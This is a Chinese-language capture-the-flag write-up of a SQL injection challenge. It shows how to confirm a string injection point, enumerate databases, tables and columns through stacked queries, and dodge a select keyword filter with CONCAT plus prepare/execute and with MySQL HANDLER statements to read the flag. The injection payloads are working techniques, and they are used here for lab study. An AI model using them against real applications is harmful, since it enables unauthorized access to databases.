新手可以看下sql注入基础原理(超详细)这篇博客,有一个基本的概念。
点开题目链接看到
首先判断下是什么类型的注入,输入1'
,发现报错,说明是字符型注入,单引号闭合
输入1
,
输入1' or 1=1#
,显示
再测试字段数' order by 1 #
,到3时报错,说明字段数为2,即2列。
尝试用union select
联合查询继续获取信息,输入1' union select 1,2,database()#
database()
将会返回当前网站所使用的数据库名字.
user()
将会返回执行当前查询的用户名.
发现过滤了很多关键字,这时我们可以考虑用到堆叠注入。
堆叠注入的原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。
总之,原理很简单,就是通过;
号注入多条SQL语句。
先通过show databases
爆出所有数据库,输入0'; show databases; #
然后用 show tables
尝试爆出当前数据库的表,输入0'; show tables; #
可以看到这里有两个表,我们先尝试爆words表的内容,输入0'; show columns from words; #
再尝试爆1919810931114514表的内容,输入0'; show columns from `1919810931114514` ; #
注意:表名为数字时,要用反引号包起来查询
到这里,我们已经找到了flag的位置,需要读取此字段内的数据,但是select关键字已被过滤掉,我们应该想办法绕过select的限制。
我们可以使用SQL预编译的方式:
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
0';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
0';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
由于prepare也是关键字,我们将它大写,尝试输入
0';Set @sql = CONCAT('se','lect * from `1919810931114514`;');PRepare stmt from @sql;EXECUTE stmt;#
,得到flag。
还可以用handler语句代替select查询
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
通过输入0'; handler `1919810931114514` open as `a`; handler `a` read next;#
这里只讲了两种方法,还有改名、编码等等方法,可以研究下。